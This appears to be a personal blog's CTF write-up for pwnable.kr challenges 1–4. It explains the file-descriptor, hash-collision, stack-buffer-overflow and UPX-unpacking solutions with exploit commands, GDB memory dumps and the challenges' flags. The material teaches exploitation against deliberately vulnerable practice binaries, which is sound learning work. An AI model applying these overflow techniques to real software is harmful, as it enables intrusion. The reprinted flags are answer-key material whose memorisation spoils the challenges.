/dev/urandom

/dev/urandom

Pseudorandom thoughts generator.

I'm Niccolò Maggioni.
Student, geek and developer.

pwnable.kr #1-4

Please note: due to the popularity of this CTF, the following writeup won’t include too much details about the material that’s readily available on the challenge’s server.


1. fd

Once logged in, there will be three files in the user’s home:

The source of fd tells us that it will open a file descriptor with number argv[1] - 0x1234 and, if it contains LETMEWIN\n, it’ll show us the flag.

In Unix systems FDs are incremental, and the first three are defined as follows:

Index Stream
0 STDIN
1 STDOUT
2 STDERR

Since fd.c shows that it’ll be reading from an already open FD of its own process, a simple solution would be to pipe something into it: using the already available STDIN FD can be a good choice, but there’s a catch: fd processes the FD number to read as atoi(argv[1]) - 0x1234, so we need to account for that offset when specifying its 1st parameter.

0x1234 must be converted to decimal (it’ll be run through atoi, so no hex allowed), and that gives us the complete command…

1
echo "LETMEWIN" | ~/fd 4660
…and the flag:
mommy! I think I know what a file descriptor is!!

2. col

This challenge has a similar structure: a binary, its source and the flag file are given.

This time col.c shows that the flag will be printed if the sum of the passcode given as an input equals to 0x21DD09EC (568134124dec). It isn’t a standard ASCII sum, though: the argv[1] char (1 byte) array gets casted to an int (4 bytes) array and a moving sum of the 5 first values will be done - hence the 20 bytes length specified in the inbuilt help.

Our passcode will need to be made of 5 integer blocks that sum up as the target value, so we can round up the target to the nearest multiple of 5 and the add back the remainder to the last block:

This will need to be converted to a byte array to ensure the correct length: 113626824dec⇀0x06C5CEC8hex & 113626828dec⇀0x06C5CECChex; lscpu | grep -i order tells us that this system is little-endian, so our final payload will become…

1
~/col "$(printf '\xc8\xce\xc5\x06%.0s' {1..4})$(echo -e '\xcc\xce\xc5\x06')"
…and the flag is:
daddy! I just managed to create a hash collision :)

3. bof

This time we’re directly provided with the downloadable source (and binary) of the program that’s running @ pwnable.kr:9000; as its name implies we’ll have to use a buffer overflow to get the flag, so GDB will step into the game: gcc bof.c -m32 -g -o bof && gdb bof.

Note 1: compiling for 32bit simplifies memory address space and the debug symbols flag could be considered cheating, but we’re provided the full source after all so why complicate the task further?

_Note 2: I had wrongly compiled a PIE executable and the memory mapping changed when the program was run, so I had to use GDB’s starti command to run it and stop at the first instruction. You can either use the -no-pie flag when compiling the binary or avoid passing --enable-default-pie when building GCC from source._

We’re interested in the func function since it contains the comparison that we need to force true to get the flag: (gdb) list func.

1
2
3
4
5
6
7
8
9
10
11
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}

We want to target the key == 0xcafebabe comparison, in which key was previously defined in the code as 0xdeadbeef; since it is referenced after gets() fills the overflowme buffer without a proper length check, we can use that to mangle memory and force the right side of the comparison to be equal to key.

With (gdb) disas func we can find the address of that comparison:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Dump of assembler code for function func:
0x565561cd <+0>: push %ebp
0x565561ce <+1>: mov %esp,%ebp
0x565561d0 <+3>: push %ebx
0x565561d1 <+4>: sub $0x34,%esp
0x565561d4 <+7>: call 0x565560d0 <__x86.get_pc_thunk.bx>
0x565561d9 <+12>: add $0x2e27,%ebx
0x565561df <+18>: mov %gs:0x14,%eax
0x565561e5 <+24>: mov %eax,-0xc(%ebp)
0x565561e8 <+27>: xor %eax,%eax
0x565561ea <+29>: sub $0xc,%esp
0x565561ed <+32>: lea -0x1ff8(%ebx),%eax
0x565561f3 <+38>: push %eax
0x565561f4 <+39>: call 0x56556030 <[email protected]>
0x565561f9 <+44>: add $0x10,%esp
0x565561fc <+47>: sub $0xc,%esp
0x565561ff <+50>: lea -0x2c(%ebp),%eax
0x56556202 <+53>: push %eax
0x56556203 <+54>: call 0x56556040 <[email protected]>
0x56556208 <+59>: add $0x10,%esp
0x5655620b <+62>: cmpl $0xcafebabe,0x8(%ebp) // <== Here's the key

Once we’ve found the address of the comparison, let’s inspect further:

I’ve fed a bunch of !s as input, so my memory will contain easily spottable 0x21s - let’s view 16 hex words from the overflowme variable on:

1
2
3
4
5
(gdb) x/16x overflowme
0xffffce9c: 0x21212121 0x21212121 0x21212121 0x21212121
0xffffceac: 0x21212121 0x21212121 0xf7f8ee00 0x00000000
0xffffcebc: 0x7029cb00 0xf7f8f3bc 0x00000000 0xffffcee8
0xffffcecc: 0x56556279 0xdeadbeef 0xffffcf94 0xffffcf9c

Here they are! Notice anything else? The 0xdeadbeef key used for the comparison is located 13 words (13 * 4 bytes) after the start of the overflowme buffer, let’s see if we can overwrite it. Note: Python helps us with quick strings manipulations, but v3 doesn’t handle hex strings as v2 did so I’ve used echo -e as a quick & dirty workaround.

1
2
3
4
5
(gdb) x/16x overflowme
0xffffce9c: 0x21212121 0x21212121 0x21212121 0x21212121
0xffffceac: 0x21212121 0x21212121 0x21212121 0x21212121
0xffffcebc: 0x21212121 0x21212121 0x21212121 0x21212121
0xffffcecc: 0x21212121 0xdeadbe00 0xffffcf94 0xffffcf9c

As expected, the null terminator of the string overflowed and was written over the last byte of the key (little endian system). Knowing this, we can craft a payload that will write the correct values onto that bytes and as such make the left side of the comparison equal to the expected right one.

1
2
3
4
5
(gdb) x/16x overflowme
0xffffce9c: 0x21212121 0x21212121 0x21212121 0x21212121
0xffffceac: 0x21212121 0x21212121 0x21212121 0x21212121
0xffffcebc: 0x21212121 0x21212121 0x21212121 0x21212121
0xffffcecc: 0x21212121 0xcafebabe 0xffffcf00 0xffffcf9c

Et voilà! The comparison will now succeed. Let’s quit GDB and run the same payload over netcat - running it locally would give us a shell on our system since the program will spawn /bin/sh.

It seems that this does nothing, shell commands won’t give any output… That’s because the spawned process terminates immediately since STDIN does not get tied to it. A simple - yet obscure - workaround is using cat to keep the pipe open:

It won’t look like it but you are now effectively interacting with a shell:

1
2
3
pwd         # Check the working directory
ls -l # Look for the flag
cat flag # Grab it!
The flag is:
daddy, I just pwned a buFFer :)

4. flag

We’re only given a seemingly ordinary binary to play with:

1
2
3
4
5
> file ./flag
flag: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, no section header

> chmod +x flag && ./flag
I will malloc() and strcpy the flag there. take it.

It looks like we’ll have to look for a malloc call in the code. GDB doesn’t show anything useful:

1
2
3
4
5
> gdb ./flag
...
gdb$ info functions
All defined functions:
gdb$

Symbols must have been stripped, let’s see what a raw strings analysis can yield:

1
2
3
4
5
> strings ./flag
...
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 3.08 Copyright (C) 1996-2011 the UPX Team. All Rights Reserved. $
...

In the sea of characters written to screen, a clear hint is found: this binary has been compressed with UPX! Running upx -l ./flag indeed confirms it:

1
2
3
4
5
6
7
8
> upx -l ./flag
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2018
UPX 3.95 Markus Oberhumer, Laszlo Molnar & John Reiser Aug 26th 2018

File size Ratio Format Name
-------------------- ------ ----------- -----------
883745 -> 335288 37.94% linux/amd64 ./flag

Unpacking is easy: upx -d ./flag - Note: your file will be overwritten!

1
2
> file ./flag
flag: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=96ec4cc272aeb383bd9ed26c0d4ac0eb5db41b16, not stripped

Now GDB has something to work on:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
> gdb ./flag
...
gdb$ info functions main
All functions matching regular expression "main":

Non-debugging symbols:
0x0000000000401164 main
0x00000000004011b0 __libc_start_main
0x0000000000402d80 _IO_switch_to_main_get_area
...
gdb$ disas main
Dump of assembler code for function main:
0x0000000000401164 <+0>: push %rbp
0x0000000000401165 <+1>: mov %rsp,%rbp
0x0000000000401168 <+4>: sub $0x10,%rsp
0x000000000040116c <+8>: mov $0x496658,%edi
0x0000000000401171 <+13>: callq 0x402080 <puts>
0x0000000000401176 <+18>: mov $0x64,%edi
0x000000000040117b <+23>: callq 0x4099d0 <malloc>
0x0000000000401180 <+28>: mov %rax,-0x8(%rbp)
0x0000000000401184 <+32>: mov 0x2c0ee5(%rip),%rdx # 0x6c2070 <flag>
0x000000000040118b <+39>: mov -0x8(%rbp),%rax
0x000000000040118f <+43>: mov %rdx,%rsi
0x0000000000401192 <+46>: mov %rax,%rdi
0x0000000000401195 <+49>: callq 0x400320
0x000000000040119a <+54>: mov $0x0,%eax
0x000000000040119f <+59>: leaveq
0x00000000004011a0 <+60>: retq
End of assembler dump.

How nice of GDB, it even located the flag’s buffer for us. Let’s leverage that:

1
2
3
4
5
6
7
8
9
gdb$ b *0x401184
Breakpoint 1 at 0x401184
gdb$ c
Continuing.
I will malloc() and strcpy the flag there. take it.

Breakpoint 1, 0x0000000000401184 in main ()
gdb$ p flag
'flag' has unknown type; cast it to its declared type

A bit of poking around and we get the contents of the buffer right away:

1
2
3
4
5
6
gdb$ p (int) flag
$1 = 0x496628
gdb$ p (char) flag
$2 = 0x28
gdb$ p (char*) flag
$3 = 0x496628 "UPX...? sounds like a delivery service :)"
Key extracted ✓
UPX…? sounds like a delivery service :)

Share this